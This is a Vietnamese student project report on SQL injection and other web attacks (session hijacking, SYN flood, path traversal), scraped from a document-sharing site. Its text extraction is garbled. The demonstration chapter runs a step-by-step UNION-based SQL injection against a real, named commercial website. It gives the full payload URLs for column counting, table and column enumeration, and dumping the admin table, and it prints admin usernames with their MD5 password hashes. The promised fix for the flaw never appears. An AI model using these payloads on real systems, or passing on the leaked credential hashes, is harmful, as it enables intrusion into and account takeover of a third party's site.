Nghiên cứu kỹ thuật tấn công SQL Injection vào ứng dụng web và cách phòng chống

32 548 0
Nghiên cứu kỹ thuật tấn công SQL Injection vào ứng dụng web và cách phòng chống

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

Thông tin tài liệu

Cùng với sự phát triển không ngừng của internet và các dịch vụ trên internet, số lượng các dịch vụ tấn công trên internet cũng tăng theo cấp số nhân. Trong khi các phương tiện thông tin đại cúng ngày càng nhắc nhiều đên những khả năng truy cập thông tin của internet, thì các tài liệu chuyên môn bắt đầu đề cập đến nhiều vấn đề bảo đảm an toàn dữ liệu cho các máy tính kết nối vào mạng internet. Vì vấn đề bảo đảm và an toàn dữ liệu cho các máy tính được kết nối vào mạng internet là cần thiết nhằm mục đích bảo vệ dữ liệu, bảo vệ thông tin doanh nghiệp, người dung và bảo vệ hệ thống. Tuy đã có nhiều cố gắng từ các nhà lập trình Web nhưng vẫn không đảm bảo ngăn chặn toàn bộ vì công nghệ Web đang phát triển nhanh chóng nên dẫn đến nhiều khuyết điểm mới phát sinh. Sự tấn công không nằm trong một vài khuôn khổ mà linh động và tăng lên thùy vào những sai sót của nhà quản trị hệ thống cũng như của những người lập trình ứng dụng.

TRƯỜNG CAO ĐẲNG CÔNG NGHỆ THÔNG TIN HỮU NGHỊ VIỆT-HÀN KHOA CÔNG NGHỆ THÔNG TIN  ĐỒ ÁN CHUYÊN ĐỀ NGÀNH: MẠNG MÁY TÍNH ĐỀ TÀI: NGHIÊN CỨU KỸ THUẬT TẤN CÔNG SQL INJECTION VÀO ỨNG DỤNG WEB CÁCH PHÒNG CHỐNG • Giảng viên hướng dẫn: Lê Kim Trọng • Sinh viên thực hiện: Lê Anh Tuấn • Lớp: CCMM07A Đà Nẵng: Tháng Năm 2015 Nghiên cứu kỹ thuật công SQL Injection vào ứng dụng web cách phòng chống LỜI NÓI ĐẦU Ngày nay, internet phổ biến rộng rãi, tổ chức có nhu cầu giới thiệu thông tin xa lộ thông tin thực phiên giao dịch trực tuyến vấn đề nảy sinh vi phạm ứng dụng ứng dụng web ngày mở rộng khả xuất lỗi bị công cao, trở thành đối tượng cho nhiều người công với mục đích khách Đôi đơn giản để thử tài đùa bởn với người khác Cùng với phát triển không ngừng internet dịch vụ internet, số lượng dịch vụ công internet tăng theo cấp số nhân Trong phương tiện thông tin đại cúng ngày nhắc nhiều đên khả truy cập thông tin internet, tài liệu chuyên môn bắt đầu đề cập đến nhiều vấn đề bảo đảm an toàn liệu cho máy tính kết nối vào mạng internet Vì vấn đề bảo đảm an toàn liệu cho máy tính kết nối vào mạng internet cần thiết nhằm mục đích bảo vệ liệu, bảo vệ thông tin doanh nghiệp, người dung bảo vệ hệ thống Tuy có nhiều cố gắng từ nhà lập trình Web không đảm bảo ngăn chặn toàn công nghệ Web phát triển nhanh chóng nên dẫn đến nhiều khuyết điểm phát sinh Sự công không nằm vài khuôn khổ mà linh động tăng lên thùy vào sai sót nhà quản trị hệ thống người lập trình ứng dụng Vì vậy, đề tài thực với mục đích tìm hiểu, phân tích lổ hỏng bảo mật ứng dụng Web • Mục tiêu nhiệm vụ - Tìm hiểu vấn đề liên quan đến hoạt động ưng dụng Web - Tìm hiểu kỹ thuật công ứng dụng Web như: XSS, Session, DOS - Tìm hiểu nghiên cứu cụ thể kỹ thuật công chèn câu truy vấn SQL Injection giải pháp phòng ngừa - Xây dựng ứng dụng web demo thể cách công kỹ thuật SQL Injection đưa giải pháp fix lỗ hổng chưa trình - Kết thực hiện: nắm rõ chất cách công vào ứng dụng web, áp dụng vào thực tế để hạn chế thấp khả bị công ứng dụng SVTH: Lê Anh Tuấn_CCMM07A Nghiên cứu kỹ thuật công SQL Injection vào ứng dụng web cách phòng chống web triển khai • Đối tượng phạm vi nghiên cứu - Cơ sở lý thuyết liên quan hoạt động ứng dụng web - Các mô hình công đặc trưng vào ứng dụng web - Kỹ thuật vượt qua sổ đăng nhập - Kỹ thuật lợi dụng câu lệnh select, insert - Kỹ thuật dựa vào Stored procedure • Phương pháp nghiên cứu - Tổng hợp tìm hiểu, nghiên cứu tư liệu liên quan - Phân tích, đánh giá kỹ thuật công Đưa giải pháp phòng ngừa mức - Thiết kế table sở liệu, xây dựng ứng dụng Web demo thể cách công SQL Ijection • Ý nghĩa thực tiễn đề tài - Về mặt lý thuyết, đề tài thể rõ cách công thường hacker sử dụng để công vào ứng dụng Web từ trước đến nay, sử dụng tiếp thời gian dài tương lai - Về mặt thực tiễn, với cách công hacker tìm hiểu, nghiên cứu báo cáo này, áp dụng tốt phương pháp phòng ngừa đề tài nêu góp phần nâng cao khả bảo vệ ứng dụng Web trước nguy công kẻ xấu • Bố cục đồ án Báo cáo chia làm chương - Chương I: GIỚI THIỆU TỔNG QUAN VỀ AN NINH MẠNG - Chương II: GIỚI THIỆU VỀ WEB MỘT SỐ KỸ THUẬT TẤN CÔNG - Chương III: MÔ PHỎNG MỘT SỐ KỸ THUẬT TẤN CÔNG SVTH: Lê Anh Tuấn_CCMM07A Nghiên cứu kỹ thuật công SQL Injection vào ứng dụng web cách phòng chống MỤC LỤC LỜI NÓI ĐẦU MỤC LỤC DANH MỤC HÌNH ẢNH CHƯƠNG I GIỚI THIỆU TỔNG QUAN VỀ AN NINH MẠNG 1.Tình hình an ninh mạng giới 2.Tình hình an ninh mạng việt nam CHƯƠNG II GIỚI THIỆU VỀ WEB MỘT SỐ KỸ THUẬT TẤN CÔNG ỨNG DỤNG WEB 1.TỔNG QUAN VỀ WEB 1.1.Khái niệm ứng dụng web 1.2.Các khái niệm thuật ngữ liên quan 10 1.2.1.Hacker 10 1.2.2.Giao thức HTTP HTTPS .10 1.2.3.Session 12 1.2.4.Cookie 12 1.2.5.Proxy 12 1.3.Một số thuật công hacker vào lỗ hỏng trang Web 13 1.3.1.Tấn công chèn câu truy vấn SQL Injection 13 1.3.2.Chèn mã lệnh thực thi trình huyệt Cross-Site Scriptin 15 1.3.3.Chiếm hữu phiên làm việc .16 1.3.4.Từ chối dịch vụ (DOS) .18 1.3.5.Một số kỹ thuật công khác 20 CHƯƠNG III MÔ PHỎNG MỘT SỐ KỸ THUẬT TẤN CÔNG ỨNG DỤNG WEB .23 KẾT LUẬN 31 31 TÀI LIỆU THAM KHẢO 32 DANH MỤC HÌNH ẢNH Hình 1.1: số ứng dụng web có kiến trúc Hình 1.2: mô hình hoạt động ứng dụng web Hình 1.3: Quá trình công người dùng kỹ thuật ấn định session 17 Hình 1.4 Cơ chế thiết lập kết nối trước truyền số liệu .19 SVTH: Lê Anh Tuấn_CCMM07A Nghiên cứu kỹ thuật công SQL Injection vào ứng dụng web cách phòng chống Hình 1.5 Tấn công DoS truyền thống 20 SVTH: Lê Anh Tuấn_CCMM07A Nghiên cứu kỹ thuật công SQL Injection vào ứng dụng web cách phòng chống CHƯƠNG I GIỚI THIỆU TỔNG QUAN VỀ AN NINH MẠNG Trong bối cảnh tiến trình hội nhập, vấn đề an ninh mạng bảo mật liệu trở nên quan tâm Khi sở hạ tầng công nghệ mạng đáp ứng tốt yêu cầu băng thông, chất lượng dịch vụ, đồng thời thực trạng công mạng ngày gia tăng vấn đề bảo mật trọng Không nhà cung cấp dịch vụ Internet, quan phủ mà doanh nghiệp, tổ chức có ý thức an toàn thông tin.Bảo mật hay an toàn thông tin mức độ bảo vệ thông tin trước mối đe dọa “thông tin lộ”, “thông tin không toàn vẹn” “thông tin không sẵn sàng”.Bảo mật hay an toàn thông tin mức độ bảo vệ chống lại nguy an toàn thông tin “nguy hiểm”, “thiệt hại”, “mất mát” tội phạm khác Bảo mật hình thức mức độ bảo vệ thông tin bao gồm “cấu trúc” “quá trình xử lý” để nâng cao bảo mật.Tổ chức Institute for Security and Open Methodologies định nghĩa “Security hình thức bảo vệ, nơi tách biệt tài nguyên mối đe dọa” Tình hình an ninh mạng giới Các nhà nghiên cứu bảo mật Palo Alto Networks vừa tiết lộ 49,5% người dùng Android bị công - Các nhà nghiên cứu bảo mật phát số tính phần mềm độc hại nguy hiểm aka Neverquest có tên Vawtrak - Hơn 700,000 định tuyến ADSL mà nhà cung cấp dịch vụ Internet cung cấp cho người dùng tồn lỗ hổng điều khiển từ xa ‘directory traversal’ Lỗ hổng phát nhà nghiên cứu bảo mật Kyle Lovett ông phân tích vài định tuyến ADSL Tình hình an ninh mạng việt nam Theo Đại tá Nguyễn Văn Thỉnh, tình hình an toàn, an ninh mạng Việt Nam tiếp tục diễn biến phức tạp, tồn nhiều sở gây nguy bị công, phá hoại hạ tầng mạng thông tin, ảnh hưởng tới an ninh quốc gia Báo cáo hãng bảo mật Kaspersky Symantec cho thấy, Việt Nam đứng thứ (3,96%) sau Nga (40%) Ấn Độ (8%) số dùng di động bị mã độc công nhiều giới, thứ giới số lượng địa IP nước dùng mạng máy tính ma công nước khác; thứ giới phát tán SVTH: Lê Anh Tuấn_CCMM07A Nghiên cứu kỹ thuật công SQL Injection vào ứng dụng web cách phòng chống tin nhắn rác (giảm bậc so tháng 11/2013) đứng thứ 12 giới hoạt động công mạng Đáng ý hoạt động công mạng nhằm vào Việt Nam gia tăng số lượng, gây nguy bị kiểm soát, khống chế hệ thống thông tin Tin tặc nước thường xuyên lợi dụng điểm yếu an ninh mạng hệ thống thông tin điện tử, trang thông tin điện tử Việt Nam để công, xâm nhập, chiếm quyền điều khiển, chỉnh sửa nội dung SVTH: Lê Anh Tuấn_CCMM07A Nghiên cứu kỹ thuật công SQL Injection vào ứng dụng web cách phòng chống CHƯƠNG II GIỚI THIỆU VỀ WEB MỘT SỐ KỸ THUẬT TẤN CÔNG ỨNG DỤNG WEB TỔNG QUAN VỀ WEB 1.1 Khái niệm ứng dụng web Ứng dụng web ứng dụng củ, khách sử dụng giao thức HTTP để tương tác với người dụng hay hệ thống khác Trình khách dành cho người sử dụng thường trình duyệt web Internet Explorer hay Netscape Navigator Cũng chương trình đóng vai trò đại lý người dung hoạt động trình duyệt tự động Người dung gửi nhận thông tin từ trình chủ thông qua việc việc vào cac trang Web Các chương trình trang trao đổi mua bán, diễn đàn, gữi nhận e-mail… Tóc độ phát triển kỹ thuật xây dựng ứng dụng web phát triển nhanh Trước ứng dụng web thường xây dựng CGI (Common Gateway Interface) chạy trình chủ web kết nối vào sơ sở liệu đơn giản máy chủ Ngày nay, ứng dung web thường viết Java chạy máy chủ phân tán, kết nối đến nhiều nguồn liệu Dù có nhiều biến thể, ứng dụng web thông thường cấu trúc ứng dụng ba lớp: Hình 1.1: số ứng dụng web có kiến trúc SVTH: Lê Anh Tuấn_CCMM07A Nghiên cứu kỹ thuật công SQL Injection vào ứng dụng web cách phòng chống • Lớp trình bày: lớp có nhiệm vụ hiển thị liệu cho người dung, có them ứng dụng tạo bố cục cho trang web • Lớp ứng dụng: nơi xử lý ứng dụng web Nó xử lý thông tin người dung yêu cầu, đưa định, gữi kết đến “lớp trình bày” lớp thường cài đặt kỹ thuật lập trình CGI, Java, NET, PHP hay coldFusion, triển khai trình chủ IBM Websphere, Weblogic, Apache, IIS… • Lớp liệu: thường hệ quản trị liệu (DBMS) chịu trách nhiệm quản lý file liệu quyền sử dụng Hình 1.2: mô hình hoạt động ứng dụng web Kiến trúc ứng dụng Web Trong đó: - Trình duyệt: Internet Explorer, Netscap Navigator - Trình chủ: Apache, IIS… - Hệ quản trị sở liệu: SQL, Server, MySQL… Bên cạnh đó, giải pháp dung để bảo vệ hệ thống mạng thường sử dụng tường lửa, có vai trò lớp rào chán bên hệ thống mạng SVTH: Lê Anh Tuấn_CCMM07A Nghiên cứu kỹ thuật công SQL Injection vào ứng dụng web cách phòng chống chức firewall kiểm soát luồng thông tin máy tính Có thể xem firewall lọc thông tin, xác định cho phép máy tính truy xuất đến mạng hay không Người ta thường dung firewall vào mục đích: • Cho phép cấm dịch vụ truy xuất • Cho phép cấm dịch vụ từ truy cập vào • Kiểm soát địa truy nhập, cấm địa truy nhập 1.2 Các khái niệm thuật ngữ liên quan 1.2.1 Hacker Hacker thuật ngữ dung để chuyên gia máy tính Hacker không tạo kẻ hở cho hệ thống, hacker lại người am hiểu hệ điều hành, hệ quản trị liệu ngôn ngữ lập trình Họ sử dụng kiến thức việc tìm tòi khai thác lỗ hổng hệ thống mạng Một số hacker dung lại việc phát thông báo lỗi tìm cho nhà bảo mật hay người phát triển chương trình, họ xem WhileHat (hacker mũ trắng) số Hacker dựa vào lỗ hổng thực việc khai thác trái phép nhằm mục đích phá hoại hay mưu lợi riêng, người xem BlackHat (Hacker mũ đen) 1.2.2 Giao thức HTTP HTTPS HTTP chữ viết tắt từ HyperText Transfer protocol (giao thức truyền tải siêu văn bản) Nó giao thức màm World Wide Web sử dụng HTTP xác định cách thông thiệp (các file văn bản, hình ảnh đồ họa, âm thanh, video,…) định dạng truyền tải sao, hành động mà Web server trình duyệt web phải làm để đáp ứng câu lệnh Khi gõ địa Web URL vào trình duyệt Web lệnh HTTP gữi tói Web server để lệnh hướng dẫn tìm trang web yêu cầu mở trình duyệt Web Tóm lại, HTTp giao thức truyền tải file từ Web server vào trình duyệt Web để người dùng xem trang Web diện internet HTTP giao thức ứng dụng giao thức TCP/IP (các giao thức tảng cho Internet) HTTP header phần đầu thông tin mà khách trình gữi cho Những thông tin trình khách gữi cho trình chủ gọi HTTP requests (yêu cầu) trình chủ gữi cho trình HTTP responses (trả lời) Thông thường HTTP SVTH: Lê Anh Tuấn_CCMM07A 10 Nghiên cứu kỹ thuật công SQL Injection vào ứng dụng web cách phòng chống + Tấn công session ID biến ẩn form + Tấn công session ID cookie 1.1.1.9 Đánh cắp phiên làm việc Khác với kiểu công ẩn định phiên làm việc, hacker đánh cặp session ID người dùng họ phiên làm việc Để đánh cắp session ID người dùng, hacker dùng phương pháp sau:  Tấn công kiểu dự đoán phiên làm việc Hacker phải người dùng hợp lệ hệ thống, sau vài lần đăng nhập vào thống, hacker xem xét giá trị session ID nhận được, tìm quy luật phát sinh tư đoán giá trị phiên làm việc người dùngTấn công kiểu vét cạn phiên làm việc Hacker tự tạo chương trình gữi nhiều yêu cầu khoảng thời gian đên trình chủ Mỗi yêu cầu kèm theo session ID để tìm session ID tồn Hacker dựa vào thói quen nhà phát triển ứng dụng web lấy thời gian hay địa IP cỉa người dùng để tạo session ID để hạn chế vùng vét cạn  Tấn công kiểu dùng đoạn mã để đánh cắp phiên làm việc Bằng cách chèn vào đoạn mã thực thi trình duyệt nạn nhân, hacker lừa người dùng Cách thực thi qua lỗi Cross-Site Spcripting Sau có phiên làm việc người dùng, hacker vào phiên làm việc họ 1.3.4 Từ chối dịch vụ (DOS) 1.1.1.10 Khái niệm công kiểu DoS (Denial of Servuce) Tấn công từ chối dịch vụ DoS công hệ thống mạng nhằm ngăn cản truy xuất tới dịch vụ công DoS làm cho dịch vụ mạng bị tê liệt, không khả đáp ứng yêu cầu cách làm tràn ngập số lượng kết nối, tải server chương trình chạy server, tiêu tốn tài nguyên server, ngăn chặn người dùng hợp SVTH: Lê Anh Tuấn_CCMM07A 18 Nghiên cứu kỹ thuật công SQL Injection vào ứng dụng web cách phòng chống lệ truy cập tới dịch vụ mạng Loại công ảnh hướng tói nhiều hệ thống, dễ thực hiên khó bảo vệ hệ thống khỏi kiểu công DoS Thông thường, kiểu công DoS dựa giao thức ( ví dụ tràn ngập ICMP với Smurrf, Ping of Death, khai thác điểm yếu TCP hoạt động giao thức phân tích gói tin Hacker sử dụng bom email để gữi hang loạt thông điệp email vớ mục đích tiêu thụ bang thông để làm hao hụt tài nguyên hệ thống mail server) Hoặc dùng phần mềm gữi hang loạt yêu cầu đên máy chủ khiến cho máy chủ đáp ứng yêu cầu đáng khác 1.1.1.11 Các kỹ thuật công a Khái niệm Tep bắt tay ba chiều Để nghiên cứu phương pháp công Dos, trước tiên tìm hiểu chế làm việc “Tep bắt tay ba chiều: Trong đó: • Gói liệu TCP với cờ SYN (synchoronize) dùng để bắt đầu kết nối • ACK (acknowledgement) công nhận Cách hoạt động gói TCP: Hình 1.4 Cơ chế thiết lập kết nối trước truyền số liệu  Bước 1: máy gửi gói tim SYN yêu cầu kết nối  Bước 2: Nếu máy chủ chấp nhận kết nối, máy chủ gửi gói tin SYN/ACK Server bắt buộc phải gửi thông báo lại TCP chuẩn tin cậy máy không nhận thông báo nghĩ packet bị lạc gửi lại packet  Bước 3: Máy gửi hổi đáp gói tin ACK, báo cáo cho máy SVTH: Lê Anh Tuấn_CCMM07A 19 Nghiên cứu kỹ thuật công SQL Injection vào ứng dụng web cách phòng chống chủ biết máy nhận SYN/ACK packet lúc kết nối thiết lập b Lợi dụng TCP thực phương pháp SYN flood truyền thống Hình 1.5 Tấn công DoS truyền thống Bất gói tin SYN, máy chủ phải để phần tài nguyên hệ thống nhớ đệm để nhận truyền liệu cho đường truyền Tuy nhiên, tài nguyên hệ thống có hạn hacker tìm cách để hệ thống giới hạn Đây gọi half-open connection máy khách mở kết nối chừng Nếu máy chủ sau gửi trả gói tin SYN/ACK để thông báo chấp nhận kết nối cho máy yêu cầu địa chi IP máy yêu cầu giả mạo gói tin đến đích, nên máy chủ phải dành tài nguyên cho yêu cầu Sau thời gian không nhận phản hồi từ máy khách, may chủ lại tiếp tục gửi gói tin SYN/ACK để xác nhận lần vậy, kết nối tiếp tục mở Nếu hacker gửi nhiều gói tin SYN đến máy chủ tiếp nhận them kết nối lúc hệ thống giới hạn bị vỡ 1.3.5 Một số kỹ thuật công khác 1.1.1.12 Mã hóa URL (URL Encoding) a) Khái niệm Theo RFC 1738 định nghĩa URL RFC 2369 cho URIs, kí tự giới hạn sử dụng URL URI tập hợp kí tự USASCII Theo RFC 1738, 2369 kí tự số, kí tự đặc biệt như”$-_.!+()” số kí tự dành riêng không bị mã hóa URL hay URIs Cong SVTH: Lê Anh Tuấn_CCMM07A 20 Nghiên cứu kỹ thuật công SQL Injection vào ứng dụng web cách phòng chống kí tự đặc biệt khác mã hóa khoảng trắng, ‘… Sau trình chủ liệu này, trình chủ tự động giải mã để thao tác bình thường Vậy hacker lợi dụng URL mã hóa Những nhà phát triển ứng dụng thiết kế ứng dụng để kiểm tra liệu nhập vào người dùng có hợp lí hay không, kí tự đặc biệt thẻ script thường dùngthuật công XSS bị loại bỏ Vậy để hợp thức hóa nội dung liệu cần nhập, hacker thay nhập trực tiếp kí tự đặc biệt vào ô họ nhập kí tự mã hóa theo chuẩn RFFC 1738, RFC 2369 Như cách đó, hacker dễ dàng vượt qua kiểm soát b) Một số biện pháp phòng chống Tránh sử dụng phương thức Get dùng GET, liệu dể dàng them vào URL Vì thế, sử dụng phương thức POST Trong trường hợp URL bắt buộc sử dụng để chuyển dử liệu lên trình chủ, cần giới hạn kiểu liệu, nên kiểm tra liệu ứng dụng sử dụng Không nên sử dụng ngôn ngữ máy khách để kiểm tra tính đắn dử liệu 1.1.1.13 Tấn công vượt đường dẫn a) Khái niệm Nhiều ứng dụng sử dụng tệp tin hệ thống trình chủ “lớp trình bày” để hiển thị thông tin lưu trử tạm thời Những tệp tin bao gồm tập tin hình ảnh, tập tin HTML, hay ứng dụng CHI Thư mục WWW-ROOT thư mục gốc ảo bên bên WWWROOT Nếu ứng dụng không kiểm tra kí tự đặc biệt, thường sử dụng đường dẫn “/” ứng dụng có lỗ hổng cho kiểu công vượt đường dẫn hacker yêu cầu trình chủ trả kết nội dung tập tin vật lí /etc/password… Tóm lại: kiểu công dựa vào lỏng lẻo trình kiểm tra liệu nên URL, cookie, HTTP header yêu cầu lợi dụng quyền truy xuất tệp tin ứng dụng, nhờ hacker xem file lưu trữ hệ thống b) Một số biện pháp phòng chống SVTH: Lê Anh Tuấn_CCMM07A 21 Nghiên cứu kỹ thuật công SQL Injection vào ứng dụng web cách phòng chống Việc phòng chóng kiểu công vượt đường dẫn thử thách lớn cho nhà ứng dụng hệ thống phân tán Tuy nhiên, cách phòng chống tốt nhât ứng dụng cần kiểm tra truy xuất file trước xuất kết cho trình duyệt SVTH: Lê Anh Tuấn_CCMM07A 22 Nghiên cứu kỹ thuật công SQL Injection vào ứng dụng web cách phòng chống CHƯƠNG III MÔ PHỎNG MỘT SỐ KỸ THUẬT TẤN CÔNG ỨNG DỤNG WEB Tấn công ứng dụng web SQL Injection Trang web demo: http://www.durascoop.com/ Click chọn “Products” menu SVTH: Lê Anh Tuấn_CCMM07A 23 Nghiên cứu kỹ thuật công SQL Injection vào ứng dụng web cách phòng chống Tiếp theo chọn sản phẩm để xem: Ở xem sản phẩm Click vào “More” để xem chi tiết Lúc URL ta thấy: http://www.durascoop.com/original.php?productid=1 sản phẩm bình thường Khi ta thêm dấu nháy đơn vào URL sau: http://www.durascoop.com/original.php?productid=1’ Sau thêm dấu nháy vào không thấy có sản phẩm xuất có cảnh báo lên trang web  dấu hiệu website có khả bị lỗi SQL Injections SVTH: Lê Anh Tuấn_CCMM07A 24 Nghiên cứu kỹ thuật công SQL Injection vào ứng dụng web cách phòng chống Thêm lênh SQL vào sau URL: http://www.durascoop.com/original.php?productid=1' order by Website xuất cảnh báo Chúng thực lên ORDER BY N N số tăng lên đơn vị số Cứ lúc website xuất cảnh báo trở lại Ở ORDER BY đến 12 xuất cảnh báo đến 13 cóa lại cảnh báo SVTH: Lê Anh Tuấn_CCMM07A 25 Nghiên cứu kỹ thuật công SQL Injection vào ứng dụng web cách phòng chống Vậy số column 12 Bây chúng lệnh UNION SELECT với số cột 12 để khai thác Chúng ta load lại link: http://www.durascoop.com/original.php?productid=1 Rồi tiến hành thao tác rên HackBar : SQL  Union select statemen  nhập vào số 12 Hoặc tự nhập tay vào: http://www.durascoop.com/original.php?productid=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12 Lưu ý phải sửa lại trước productid=1 thành productid=-1 SVTH: Lê Anh Tuấn_CCMM07A 26 Nghiên cứu kỹ thuật công SQL Injection vào ứng dụng web cách phòng chống URL là: http://www.durascoop.com/original.php?productid=-1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12 Sau Click vào Execute Website sễ xuất hình sau: Để ý ta thấy Product có số Đây cột bị lỗi số cột từ đến 12 Bây khai thác lệnh sau: http://www.durascoop.com/original.php?productid=-1 UNION SELECT 1,2,3,4,5,group_concat(table_name),7,8,9,10,11,12 from information_schema.tables where table_schema=database() SVTH: Lê Anh Tuấn_CCMM07A 27 Nghiên cứu kỹ thuật công SQL Injection vào ứng dụng web cách phòng chống Thay group_concat(table_name) vào số cột bị lỗi mà tìm lúc trước ( cột ), thêm from information_schema.tables where table_schema=database() để tìm table Database Như hình trên, danh sách table database: duran_adminuser, duran_cartmaster, duran_category, duran_customer_master, duran_customer_master_old, duran_customer_master_ship, duran_discount_master, duran_newsletter, duran_orders,duran_pagessectionmaster, duran_product,duran_product_gallery, duran_receipts,duran_subcategory, duran_subscribe, duran_testimonals,duran_video Tiếp theo tìm thông tin table: duran_adminuser Lưu ý chuyển tên table sang mã hexa: duran_adminuser  647572616e5f61646d696e75736572 thêm 0X đằng trước Cách chuyển: bôi đen tên bẳng (ở duran_adminuser )  HackBar chọn Endoding  HEX Encoding  String to 00ff00ff Sử dụng lệnh sau để lấy thông tin column table: UNION SELECT 1,2,3,4,5,group_concat(column_name),7,8,9,10,11,12 from information_schema.columns where table_name=0x647572616e5f61646d696e75736572 Khi URL là: http://www.durascoop.com/original.php?productid=-1 UNION SELECT 1,2,3,4,5,group_concat(column_name),7,8,9,10,11,12 from SVTH: Lê Anh Tuấn_CCMM07A 28 Nghiên cứu kỹ thuật công SQL Injection vào ứng dụng web cách phòng chống information_schema.columns where table_name=0x647572616e5f61646d696e75736572 Tiến hành Execute Ta cột: adminid,adminname,password Như hình sau: Tiếp tục lấy thông tin cột adminid, adminname, password bảng duran_adminuser Ta sử dụng câu lệnh: UNION SELECT 1,2,3,4,5,group_concat(adminid,0x207c20,adminname,0x207c20,password),7,8 ,9,10,11,12 from duran_adminuser Ta thấy xuất 0x7c để lúc lấy thông tin tự ngăn cách adminid, adminname, password URL đầy đủ: http://www.durascoop.com/original.php?productid=-1 UNION SELECT 1,2,3,4,5,group_concat(adminid,0x7c,adminname,0x7c,password),7,8,9,10,11,1 from duran_adminuser SVTH: Lê Anh Tuấn_CCMM07A 29 Nghiên cứu kỹ thuật công SQL Injection vào ứng dụng web cách phòng chống Như hình ta có : adminid adminname password admin df0110655ccecb86960489dac83194ab admin_new 21232f297a57a5a743894a0e4a801fc3 Ở mật mã hóa MD5 SVTH: Lê Anh Tuấn_CCMM07A 30 Nghiên cứu kỹ thuật công SQL Injection vào ứng dụng web cách phòng chống KẾT LUẬN Trên thực tế thành công mà không gắn liền với hỗ trợ, giúp đỡ dù hay nhiều, dù trực tiếp hay gián tiếp người khác Trong suốt thời gian từ bắt đầu học tập giảng đường đại học đến nay, em nhận nhiều quan tâm, giúp đỡ quý Thầy Cô, gia đình bạn bè Với lòng biết ơn sâu sắc nhất, em xin gửi đến quý Thầy Cô Khoa Khoa Học Máy Tính – Trường Đại Học Công Nghệ Thông Tin Hữu Nghị Việt Hàn với tri thức tâm huyết để truyền đạt vốn kiến thức quý báu cho chúng em suốt thời gian học tập trường đặc biệt, học kỳ này, Khoa tổ chức cho chúng em tiếp cận với môn học mà theo em hữu ích sinh viên ngành Khoa Học Máy Tính tất sinh viên thuộc chuyên ngành Khoa Học Kỹ Thuật khác Em xin chân thành cảm ơn thầy Lê Kim Trọng tận tâm hướng dẫn chúng em qua buổi nói chuyện, thảo luận lĩnh vực sáng tạo Nếu lời hướng dẫn, dạy bảo thầy em nghĩ thu hoạch em khó hoàn thiện Một lần nữa, em xin chân thành cảm ơn thầy Bài thu hoạch thực khoảng thời gian tuần Bước đầu vào thực tế, tìm hiểu lĩnh vực sáng tạo nghiên cứu, kiến thức em hạn chế nhiều bỡ ngỡ Do vậy, không tránh khỏi thiếu sót điều chắn, em mong nhận ý kiến đóng góp quý báu quý Thầy Cô bạn học lớp để kiến thức em lĩnh vực hoàn thiện SVTH: Lê Anh Tuấn_CCMM07A 31 Nghiên cứu kỹ thuật công SQL Injection vào ứng dụng web cách phòng chống TÀI LIỆU THAM KHẢO http://luanvan365.com/luan-van/mot-so-phuong-phap-tan-cong-vao-trang-webva-cach-phong-chong-53008/ http://luanvan.co/luan-van/do-an-ung-dung-web-va-van-de-bao-mat-35852/ CEHv8 Module 13 Hacking Web Applications SVTH: Lê Anh Tuấn_CCMM07A 32 ... chất cách công vào ứng dụng web, áp dụng vào thực tế để hạn chế thấp khả bị công ứng dụng SVTH: Lê Anh Tuấn_CCMM07A Nghiên cứu kỹ thuật công SQL Injection vào ứng dụng web cách phòng chống web. .. thuật công SQL Injection vào ứng dụng web cách phòng chống CHƯƠNG II GIỚI THIỆU VỀ WEB VÀ MỘT SỐ KỸ THUẬT TẤN CÔNG ỨNG DỤNG WEB TỔNG QUAN VỀ WEB 1.1 Khái niệm ứng dụng web Ứng dụng web ứng dụng. .. Tuấn_CCMM07A Nghiên cứu kỹ thuật công SQL Injection vào ứng dụng web cách phòng chống Hình 1.5 Tấn công DoS truyền thống 20 SVTH: Lê Anh Tuấn_CCMM07A Nghiên cứu kỹ thuật công SQL Injection vào ứng

Ngày đăng: 13/06/2017, 11:47

Từ khóa liên quan

Mục lục

  • 1.1. Khái niệm ứng dụng web.

  • 1.2. Các khái niệm thuật ngữ liên quan.

    • 1.2.1. Hacker.

    • 1.2.2. Giao thức HTTP và HTTPS.

    • 1.2.3. Session.

    • 1.2.4. Cookie.

    • 1.2.5. Proxy.

    • 1.3. Một số ký thuật tấn công của hacker vào lỗ hỏng trên trang Web.

      • 1.3.1. Tấn công chèn câu truy vấn SQL Injection.

      • 1.3.2. Chèn mã lệnh thực thi trên trình huyệt Cross-Site Scriptin.

      • 1.3.3. Chiếm hữu phiên làm việc.

      • 1.3.4. Từ chối dịch vụ (DOS).

      • 1.3.5. Một số kỹ thuật tấn công khác.

Tài liệu cùng người dùng

  • Đang cập nhật ...

Tài liệu liên quan